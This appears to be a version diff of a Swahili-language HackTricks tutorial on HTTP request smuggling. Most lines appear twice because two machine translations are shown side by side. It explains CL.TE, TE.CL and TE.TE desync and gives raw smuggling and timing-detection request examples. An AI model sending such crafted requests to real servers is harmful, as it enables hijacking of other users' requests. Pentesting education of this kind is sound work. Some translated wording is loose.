Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa bug bounty!
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
|
||||
**Machapisho ya Udukuzi**\
|
||||
Shiriki na yaliyomo yanayochunguza msisimko na changamoto za udukuzi
|
||||
**Machapisho ya Kudukua**\
|
||||
Shiriki na yaliyomo yanayochimba kina cha kudukua na changamoto zake
|
||||
|
||||
**Habari za Udukuzi za Wakati Halisi**\
|
||||
Kuwa na habari za hivi karibuni katika ulimwengu wa udukuzi kupitia habari na ufahamu wa wakati halisi
|
||||
**Habari za Kudukua za Moja kwa Moja**\
|
||||
Kaa sawa na ulimwengu wa kudukua unaobadilika haraka kupitia habari za moja kwa moja na ufahamu
|
||||
|
||||
**Matangazo ya Hivi Karibuni**\
|
||||
Endelea kujulishwa na bug bounty mpya zinazozinduliwa na sasisho muhimu za jukwaa
|
||||
**Matangazo Mapya Zaidi**\
|
||||
Baki mwelekezi na matangazo mapya ya tuzo za mdudu yanayoanzishwa na sasisho muhimu ya jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua kwa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,71 +1,77 @@
|
|||
# HTTP Omba Smuggling / HTTP Desync Shambulio
|
||||
# Kudukuliwa kwa Ombi la HTTP / Shambulio la Desync la HTTP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
## Ni nini
|
||||
## Ni Nini
|
||||
|
||||
Udhaifu huu unatokea wakati **desyncronization** kati ya **proxies ya mbele** na **seva ya nyuma** inaruhusu **mshambuliaji** kutuma ombi la HTTP ambalo litakuwa **linaeleweka** kama **ombi moja** na **proxies ya mbele** (usawa wa mzigo / reverse-proxy) na **kama ombi 2** na **seva ya nyuma**.\
|
||||
Hii inaruhusu mtumiaji **kubadilisha ombi lifuatalo linalofika kwenye seva ya nyuma baada yake**.
|
||||
Udhaifu huu hutokea wakati **desyncronization** kati ya **proxies ya mbele** na **seva ya nyuma** inaruhusu **mshambuliaji** kutuma ombi la HTTP ambalo litatafsiriwa kama **ombi moja** na **proxies ya mbele** (usawa wa mzigo / reverse-proxy) na **kama ombi 2** na **seva ya nyuma**.\
|
||||
Hii inaruhusu mtumiaji **kurekebisha ombi linalofuata linalofika kwa seva ya nyuma baada yake**.
|
||||
|
||||
### Nadharia
|
||||
|
||||
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
[**Maelezo ya RFC (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
|
||||
> Ikiwa ujumbe unapokelewa na kichwa cha ujumbe cha Transfer-Encoding na kichwa cha ujumbe cha Content-Length, kichwa cha mwisho KINASTAHILI kupuuzwa.
|
||||
> Ikiwa ujumbe unapokelewa na uwanja wa kichwa wa Transfer-Encoding na uwanja wa kichwa wa Content-Length, ule wa mwisho LAZIMA uachwe.
|
||||
|
||||
**Content-Length**
|
||||
|
||||
> Kichwa cha mwili cha Content-Length kinaonyesha ukubwa wa mwili wa kipengele, kwa herufi, uliotumwa kwa mpokeaji.
|
||||
> Kichwa cha mwili wa yaliyomo cha Content-Length kinaonyesha ukubwa wa mwili wa yaliyomo, kwa bayti, iliyotumwa kwa mpokeaji.
|
||||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
> Kichwa cha uhamishaji-kuweka kinaonyesha fomu ya uandikishaji inayotumiwa kuhamisha salama mwili wa mzigo kwa mtumiaji.\
|
||||
> Chunked inamaanisha kuwa data kubwa inatumwa katika safu ya vipande
|
||||
> Kichwa cha Transfer-Encoding kinaeleza aina ya uendeshaji uliotumiwa kusafirisha salama mwili wa mzigo kwa mtumiaji.\
|
||||
> Chunked inamaanisha kuwa data kubwa inatumwa katika mfululizo wa vipande.
|
||||
|
||||
### Uhalisia
|
||||
|
||||
**Mbele** (usawa wa mzigo / Reverse Proxy) **inapitisha** kichwa cha _**content-length**_ au _**transfer-encoding**_ na **seva ya nyuma inapitisha** kingine, ikisababisha **desyncronization** kati ya mifumo 2.\
|
||||
Hii inaweza kuwa hatari sana kwani **mshambuliaji ataweza kutuma ombi moja** kwa reverse proxy ambayo itaeleweka na seva ya nyuma **kama ombi 2 tofauti**. Hatari ya mbinu hii inategemea ukweli kwamba **seva ya nyuma itaielewa ombi la 2 lililowekwa** kama linatoka kwa mteja anayefuata na ombi halisi la mteja huyo litakuwa **sehemu** ya ombi lililowekwa.
|
||||
**Mbele** (usawa wa mzigo / Reverse Proxy) **huprocess** kichwa cha _**content-length**_ au _**transfer-encoding**_ na **seva ya nyuma** huprocess **moja nyingine** ikisababisha **desyncronization** kati ya mifumo 2.\
|
||||
Hii inaweza kuwa hatari sana kwani **mshambuliaji ataweza kutuma ombi moja** kwa proxy ya nyuma ambayo itatafsiriwa na **seva ya nyuma kama maombi 2 tofauti**. Hatari ya mbinu hii iko katika ukweli kwamba **seva ya nyuma itatafsiri** ombi la **pili lililowekwa** kana kwamba **ilitoka kwa mteja anayefuata** na **ombi halisi** la mteja huyo litakuwa **sehemu** ya **ombi lililowekwa**.
|
||||
|
||||
### Mahususi
|
||||
### Vipengele Maalum
|
||||
|
||||
Kumbuka kuwa katika HTTP **tabia mpya ya mstari inaundwa na herufi 2:**
|
||||
Kumbuka kuwa katika HTTP **tabia mpya ya mstari inajumuisha bayti 2:**
|
||||
|
||||
* **Content-Length**: Kichwa hiki kinatumia **namba ya kumi** kuonyesha **idadi** ya **herufi** za **mwili** wa ombi. Mwili unatarajiwa kuishia kwenye herufi ya mwisho, **mstari mpya hauna haja mwishoni mwa ombi**.
|
||||
* **Transfer-Encoding:** Kichwa hiki kinatumia katika **mwili** namba ya **hexadecimal** kuonyesha **idadi** ya **herufi** za **kipande kifuatacho**. **Kipande** kinapaswa **kuishia** na **mstari mpya** lakini mstari huu mpya **hauna hesabu** na kiashiria cha urefu. Njia hii ya uhamishaji lazima iishe na **kipande cha ukubwa 0 kifuatiwa na mistari 2 mipya**: `0`
|
||||
* **Connection**: Kulingana na uzoefu wangu, ni vyema kutumia **`Connection: keep-alive`** kwenye ombi la kwanza la Omba Smuggling.
|
||||
* **Content-Length**: Kichwa hiki hutumia **namba ya decimal** kuonyesha **idadi** ya **bayti** za **mwili** wa ombi. Mwili unatarajiwa kumalizika katika herufi ya mwisho, **mstari mpya hauhitajiki mwishoni mwa ombi**.
|
||||
* **Transfer-Encoding:** Kichwa hiki hutumia katika **mwili** namba ya **hexadecimal** kuonyesha **idadi** ya **bayti** ya **kitengo kifuatacho**. **Kitengo** lazima **malize** na **mstari mpya** lakini mstari huu mpya **hauchumiwi** na kiashiria cha urefu. Mbinu hii ya uhamishaji lazima imalize na **kitengo cha ukubwa 0 kifuatiwe na mstari mpya 2**: `0`
|
||||
* **Connection**: Kulingana na uzoefu wangu inapendekezwa kutumia **`Connection: keep-alive`** kwenye ombi la kwanza la kudukua ombi.
|
||||
|
||||
## Mifano Muhimu
|
||||
## Mifano ya Msingi
|
||||
|
||||
Mashambulio ya ombi la omba yanatengenezwa kwa kutuma maombi yasiyojulikana ambayo yanatumia tofauti katika jinsi seva za mbele na seva za nyuma zinaelewa vichwa vya `Content-Length` (CL) na `Transfer-Encoding` (TE). Mashambulio haya yanaweza kuonekana katika aina tofauti, haswa kama **CL.TE**, **TE.CL**, na **TE.TE**. Kila aina inawakilisha mchanganyiko tofauti wa jinsi seva za mbele na seva za nyuma zinapendelea vichwa hivi. Udhaifu unatokea wakati seva zinaprocess ombi moja kwa njia tofauti, ikisababisha matokeo yasiyotarajiwa na yanayoweza kuwa mabaya.
|
||||
{% hint style="success" %}
|
||||
Unapojaribu kutumia hii na Burp Suite **lemaza `Sasisha Urefu wa Yaliyomo` na `Fanya Mstari wa HTTP/1 uwe wa kawaida`** kwenye repeater kwa sababu baadhi ya vifaa vinatumia mstari mpya, kurudi nyuma na urefu wa yaliyomo usio sahihi.
|
||||
{% endhint %}
|
||||
|
||||
### Mifano Muhimu ya Aina za Udhaifu
|
||||
Mashambulio ya kudukua ombi la HTTP hupangwa kwa kutuma maombi yenye utata yanayotumia tofauti katika jinsi seva za mbele na seva za nyuma zinavyotafsiri vichwa vya `Content-Length` (CL) na `Transfer-Encoding` (TE). Mashambulio haya yanaweza kutokea katika aina tofauti, hasa kama **CL.TE**, **TE.CL**, na **TE.TE**. Kila aina inawakilisha mchanganyiko wa kipekee wa jinsi seva za mbele na seva za nyuma zinavyopatia kipaumbele vichwa hivi. Udhaifu unatokea kutokana na seva kusindika ombi moja kwa njia tofauti, ikisababisha matokeo yasiyotarajiwa na yanayoweza kuwa mabaya.
|
||||
|
||||
### Mifano ya Msingi ya Aina za Udhaifu
|
||||
|
||||
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
||||
|
||||
#### Udhaifu wa CL.TE (Content-Length inayotumiwa na Mbele, Transfer-Encoding inayotumiwa na Nyuma)
|
||||
- **Mbele (CL):** Inaprocess ombi kulingana na kichwa cha `Content-Length`.
|
||||
- **Nyuma (TE):** Inaprocess ombi kulingana na kichwa cha `Transfer-Encoding`.
|
||||
- **Skena ya Shambulio:**
|
||||
- Mshambuliaji anatuma ombi ambapo thamani ya kichwa cha `Content-Length` haifanani na urefu halisi wa yaliyomo.
|
||||
- Seva ya mbele inapeleka ombi lote kwa seva ya nyuma, kulingana na thamani ya `Content-Length`.
|
||||
- Seva ya nyuma inaprocess ombi kama chunked kwa sababu ya kichwa cha `Transfer-Encoding: chunked`, ikielewa data iliyobaki kama ombi tofauti, la baadaye.
|
||||
- **Mfano:**
|
||||
#### Udhaifu wa CL.TE (Content-Length hutumiwa na Mbele, Transfer-Encoding hutumiwa na Nyuma)
|
||||
|
||||
* **Mbele (CL):** Huprocess ombi kulingana na kichwa cha `Content-Length`.
|
||||
* **Nyuma (TE):** Huprocess ombi kulingana na kichwa cha `Transfer-Encoding`.
|
||||
* **Skena ya Shambulio:**
|
||||
* Mshambuliaji anatuma ombi ambapo thamani ya kichwa cha `Content-Length` haifanani na urefu halisi wa yaliyomo.
|
||||
* Seva ya mbele inapeleka ombi lote kwa seva ya nyuma, kulingana na thamani ya `Content-Length`.
|
||||
* Seva ya nyuma inasindika ombi kama chunked kutokana na kichwa cha `Transfer-Encoding: chunked`, ikifasiri data iliyobaki kama ombi tofauti, la baadaye.
|
||||
* **Mfano:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Host: tovuti-inayoweza-kudukuliwa.com
|
||||
Content-Length: 30
|
||||
Connection: keep-alive
|
||||
Transfer-Encoding: chunked
|
||||
|
@ -76,24 +82,26 @@ GET /404 HTTP/1.1
|
|||
Foo: x
|
||||
```
|
||||
|
||||
#### Udhaifu wa TE.CL (Transfer-Encoding inayotumiwa na Mbele, Content-Length inayotumiwa na Nyuma)
|
||||
- **Mbele (TE):** Inaprocess ombi kulingana na kichwa cha `Transfer-Encoding`.
|
||||
- **Nyuma (CL):** Inaprocess ombi kulingana na kichwa cha `Content-Length`.
|
||||
- **Skena ya Shambulio:**
|
||||
- Mshambuliaji anatuma ombi la chunked ambapo ukubwa wa chunk (`7b`) na urefu halisi wa yaliyomo (`Content-Length: 4`) havilingani.
|
||||
- Seva ya mbele, ikizingatia `Transfer-Encoding`, inapeleka ombi lote kwa seva ya nyuma.
|
||||
- Seva ya nyuma, ikizingatia `Content-Length`, inaprocess sehemu ya awali tu ya ombi (`7b` herufi), ikiiacha sehemu iliyobaki kama sehemu ya ombi isiyokusudiwa, la baadaye.
|
||||
- **Mfano:**
|
||||
#### Udhaifu wa TE.CL (Transfer-Encoding hutumiwa na Mbele, Content-Length hutumiwa na Nyuma)
|
||||
|
||||
* **Mbele (TE):** Huprocess ombi kulingana na kichwa cha `Transfer-Encoding`.
|
||||
* **Nyuma (CL):** Huprocess ombi kulingana na kichwa cha `Content-Length`.
|
||||
* **Skena ya Shambulio:**
|
||||
* Mshambuliaji anatuma ombi la chunked ambapo ukubwa wa chunk (`7b`) na urefu halisi wa yaliyomo (`Content-Length: 4`) havilingani.
|
||||
* Seva ya mbele, ikizingatia `Transfer-Encoding`, inapeleka ombi lote kwa seva ya nyuma.
|
||||
* Seva ya nyuma, ikizingatia `Content-Length`, inasindika sehemu ya awali tu ya ombi (`bayti 7b`), ikiiacha sehemu iliyobaki kama sehemu ya ombi isiyokusudiwa baadaye.
|
||||
* **Mfano:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Host: tovuti-inayoweza-kudukuliwa.com
|
||||
Content-Length: 4
|
||||
Connection: keep-alive
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
7b
|
||||
GET /404 HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Host: tovuti-inayoweza-kudukuliwa.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 30
|
||||
|
||||
|
@ -101,13 +109,15 @@ x=
|
|||
0
|
||||
|
||||
```
|
||||
#### Mfumo wa Uvujaji wa TE.TE (Transfer-Encoding inayotumiwa na wote, na ufichaji)
|
||||
- **Seva:** Wote wanaunga mkono `Transfer-Encoding`, lakini mmoja wao anaweza kudanganywa kuipuuza kupitia ufichaji.
|
||||
- **Skenario ya Shambulio:**
|
||||
- Mshambuliaji anatuma ombi lenye vichwa vilivyofichwa vya `Transfer-Encoding`.
|
||||
- Kulingana na seva ipi (mbele au nyuma) inashindwa kutambua ufichaji, udhaifu wa CL.TE au TE.CL unaweza kudukuliwa.
|
||||
- Sehemu isiyosindika ya ombi, kama inavyoonekana na moja ya seva, inakuwa sehemu ya ombi linalofuata, ikisababisha uvujaji.
|
||||
- **Mfano:**
|
||||
#### Mfumo wa TE.TE (Transfer-Encoding inayotumiwa na wote, na kuficha)
|
||||
|
||||
* **Seva:** Zote mbili zinasaidia `Transfer-Encoding`, lakini moja inaweza kudanganywa kwa kutozingatia kupitia kuficha.
|
||||
* **Skena ya Shambulizi:**
|
||||
* Mshambuliaji anatuma ombi lenye vichwa vilivyofichwa vya `Transfer-Encoding`.
|
||||
* Kulingana na ni seva ipi (mbele au nyuma) inashindwa kutambua kuficha, inaweza kudukuliwa kwa kushambulia CL.TE au TE.CL.
|
||||
* Sehemu isiyosindika ya ombi, kama inavyoonekana na moja ya seva, inakuwa sehemu ya ombi linalofuata, ikiongoza kwa udanganyifu.
|
||||
* **Mfano:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -125,56 +135,61 @@ Transfer-Encoding
|
|||
: chunked
|
||||
```
|
||||
|
||||
#### **Skenario ya CL.CL (Content-Length inayotumiwa na Mbele na Nyuma):**
|
||||
- Seva zote mbili zinasindika ombi kulingana tu na kichwa cha `Content-Length`.
|
||||
- Skenario hii kawaida haiongozi kwa uvujaji, kwani kuna uwiano katika jinsi seva zote mbili zinavyotafsiri urefu wa ombi.
|
||||
- **Mfano:**
|
||||
#### **Skena ya CL.CL (Content-Length inayotumiwa na Mbele na Nyuma):**
|
||||
|
||||
* Seva zote zinasindika ombi kulingana na kichwa cha `Content-Length` pekee.
|
||||
* Skena hii kawaida haiongozi kwa udanganyifu, kwani kuna maelewano katika jinsi seva zote zinavyotafsiri urefu wa ombi.
|
||||
* **Mfano:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Content-Length: 16
|
||||
Connection: keep-alive
|
||||
|
||||
Ombi Kawaida
|
||||
Ombi la Kawaida
|
||||
```
|
||||
|
||||
#### **Skenario ya CL != 0:**
|
||||
- Inahusu hali ambapo kichwa cha `Content-Length` kipo na kina thamani isiyokuwa sifuri, ikionyesha kuwa mwili wa ombi una maudhui.
|
||||
- Ni muhimu katika kuelewa na kuunda mashambulio ya uvujaji, kwani inaathiri jinsi seva zinavyodetermine mwisho wa ombi.
|
||||
- **Mfano:**
|
||||
#### **Skena ya CL != 0:**
|
||||
|
||||
* Inahusu hali ambapo kichwa cha `Content-Length` kipo na kina thamani isiyokuwa sifuri, ikionyesha kuwa mwili wa ombi una maudhui.
|
||||
* Ni muhimu katika kuelewa na kutengeneza mashambulizi ya udanganyifu, kwani inaathiri jinsi seva zinavyobaini mwisho wa ombi.
|
||||
* **Mfano:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Content-Length: 16
|
||||
Connection: keep-alive
|
||||
|
||||
Mwili Usio Tupa
|
||||
Mwili usio tupu
|
||||
```
|
||||
|
||||
#### Kulazimisha kupitia vichwa vya hop-by-hop
|
||||
#### Kulazimisha kupitia vichwa vya hop-kwa-hop
|
||||
|
||||
Kwa kutumia vichwa vya hop-by-hop, unaweza kuonyesha proksi kufuta kichwa cha `Content-Length` au `Transfer-Encoding` ili iwezekane kudukua ombi la HTTP.
|
||||
Kwa kutumia vichwa vya hop-kwa-hop unaweza kuashiria kwa wakala **kufuta kichwa cha Content-Length au Transfer-Encoding hivyo uwezekano wa udanganyifu wa ombi la HTTP unaweza kutumiwa kudukua**.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
Kwa **mashauri zaidi kuhusu vichwa vya habari vya hatua kwa hatua**, tembelea:
|
||||
Kwa **maelezo zaidi kuhusu vichwa vya hop-by-hop**, tembelea:
|
||||
|
||||
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
|
||||
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Kupata Uvujaji wa Ombi la HTTP
|
||||
|
||||
## Kugundua Uvujaji wa Ombi la HTTP
|
||||
Kutambua udhaifu wa uvujaji wa ombi la HTTP mara nyingi hufanikiwa kutumia mbinu za wakati, ambazo hutegemea kuchunguza muda gani server itachukua kujibu maombi yaliyodhibitiwa. Mbinu hizi ni muhimu hasa kwa kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana zingine zinazoweza kutumika kugundua udhaifu kama huo:
|
||||
|
||||
Kutambua udhaifu wa uvujaji wa ombi la HTTP mara nyingi hufikiwa kwa kutumia mbinu za wakati, ambazo zinategemea kuchunguza muda gani inachukua kwa seva kujibu maombi yaliyodhibitiwa. Mbinu hizi ni muhimu sana katika kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana zingine ambazo zinaweza kutumika kupata udhaifu kama huo:
|
||||
### Kupata Udhaifu wa CL.TE Kwa Kutumia Mbinu za Wakati
|
||||
|
||||
* **Mbinu:**
|
||||
* Tuma ombi ambalo, ikiwa programu ina udhaifu, itasababisha server ya nyuma kusubiri data zaidi.
|
||||
* **Mfano:**
|
||||
|
||||
### Kugundua Udhaifu wa CL.TE Kwa Kutumia Mbinu za Wakati
|
||||
- **Mbinu:**
|
||||
- Tuma ombi ambalo, ikiwa programu ina udhaifu, itasababisha seva ya nyuma kusubiri data zaidi.
|
||||
- **Mfano:**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Host: tovuti-isio-na-ulinzi.com
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Content-Length: 4
|
||||
|
@ -183,21 +198,22 @@ Content-Length: 4
|
|||
A
|
||||
0
|
||||
```
|
||||
- **Uchunguzi:**
|
||||
- Seva ya mbele inaprocess ombi kulingana na `Content-Length` na inakata ujumbe mapema.
|
||||
- Seva ya nyuma, ikitegemea ujumbe uliogawanywa, inasubiri ujumbe unaofuata ambao haujafika, ikisababisha kuchelewa.
|
||||
* **Uchunguzi:**
|
||||
* Server ya mbele huprocess ombi kulingana na `Content-Length` na kukata ujumbe mapema.
|
||||
* Server ya nyuma, ikitarajia ujumbe wa chunked, inasubiri chunk inayofuata ambayo haijafika, ikisababisha kucheleweshwa.
|
||||
* **Viashiria:**
|
||||
* Muda wa kusubiri au kuchelewesha mrefu katika majibu.
|
||||
* Kupokea kosa la 400 Bad Request kutoka kwa server ya nyuma, mara nyingine na maelezo ya kina ya server.
|
||||
|
||||
- **Viashiria:**
|
||||
- Muda wa kusubiri au kuchelewa kwa majibu.
|
||||
- Kupokea kosa la 400 Bad Request kutoka kwa seva ya nyuma, mara nyingi na habari za kina za seva.
|
||||
### Kupata Udhaifu wa TE.CL Kwa Kutumia Mbinu za Wakati
|
||||
|
||||
* **Mbinu:**
|
||||
* Tuma ombi ambalo, ikiwa programu ina udhaifu, itasababisha server ya nyuma kusubiri data zaidi.
|
||||
* **Mfano:**
|
||||
|
||||
### Kugundua Udhaifu wa TE.CL Kwa Kutumia Mbinu za Wakati
|
||||
- **Mbinu:**
|
||||
- Tuma ombi ambalo, ikiwa programu ina udhaifu, itasababisha seva ya nyuma kusubiri data zaidi.
|
||||
- **Mfano:**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Host: tovuti-isio-na-ulinzi.com
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Content-Length: 6
|
||||
|
@ -205,48 +221,44 @@ Content-Length: 6
|
|||
0
|
||||
X
|
||||
```
|
||||
- **Uchunguzi:**
|
||||
- Seva ya mbele inaprocess ombi kulingana na `Transfer-Encoding` na inapeleka ujumbe wote.
|
||||
- Seva ya nyuma, ikitegemea ujumbe kulingana na `Content-Length`, inasubiri data zaidi ambayo haijafika, ikisababisha kuchelewa.
|
||||
* **Uchunguzi:**
|
||||
* Server ya mbele huprocess ombi kulingana na `Transfer-Encoding` na kupeleka ujumbe wote.
|
||||
* Server ya nyuma, ikitarajia ujumbe kulingana na `Content-Length`, inasubiri data zaidi ambayo haijafika, ikisababisha kucheleweshwa.
|
||||
|
||||
### Mbinu Zingine za Kugundua Udhaifu
|
||||
- **Uchambuzi Tofauti wa Majibu:**
|
||||
- Tuma toleo kidogo tofauti za ombi na uchunguze ikiwa majibu ya seva yanatofautiana kwa njia isiyotarajiwa, ikionyesha hitilafu katika uchambuzi.
|
||||
|
||||
- **Kutumia Zana za Kiotomatiki:**
|
||||
- Zana kama 'HTTP Request Smuggler' ya Burp Suite inaweza kujaribu moja kwa moja udhaifu huu kwa kutuma aina mbalimbali za maombi yasiyojulikana na kuchambua majibu.
|
||||
|
||||
- **Vipimo vya Ulinganifu wa Urefu wa Yaliyomo:**
|
||||
- Tuma maombi na thamani tofauti za `Content-Length` ambazo hazilingani na urefu halisi wa yaliyomo na uchunguze jinsi seva inavyoshughulikia kutofautiana kama hizo.
|
||||
|
||||
- **Vipimo vya Ulinganifu wa Uhamishaji wa Vichwa vya Habari:**
|
||||
- Tuma maombi na vichwa vya habari vilivyofichwa au vilivyoharibika vya `Transfer-Encoding` na uangalie jinsi seva ya mbele na seva ya nyuma zinavyojibu kwa manipulations kama hizo.
|
||||
### Mbinu Nyingine za Kupata Udhaifu
|
||||
|
||||
* **Uchambuzi wa Majibu Tofauti:**
|
||||
* Tuma toleo kidogo tofauti za ombi na uchunguze ikiwa majibu ya server yanatofautiana kwa njia isiyotarajiwa, ikionyesha hitilafu katika upangaji.
|
||||
* **Kutumia Zana za Kiotomatiki:**
|
||||
* Zana kama kifaa cha 'HTTP Request Smuggler' cha Burp Suite zinaweza kujaribu moja kwa moja udhaifu huu kwa kutuma aina mbalimbali za maombi yenye utata na kuchambua majibu.
|
||||
* **Vipimo vya Urefu wa Yaliyomo (`Content-Length`):**
|
||||
* Tuma maombi yenye thamani tofauti za `Content-Length` ambazo hazilingani na urefu halisi wa yaliyomo na uchunguze jinsi server inavyoshughulikia kutofautiana kama hizo.
|
||||
* **Vipimo vya Uhamishaji wa Vipande (`Transfer-Encoding`):**
|
||||
* Tuma maombi yenye vichwa vilivyofichwa au vilivyoharibika vya `Transfer-Encoding` na ufuatilie jinsi server ya mbele na nyuma inavyojibu kwa manipulations kama hizo.
|
||||
|
||||
### Jaribio la Udhaifu wa Uvujaji wa Ombi la HTTP
|
||||
|
||||
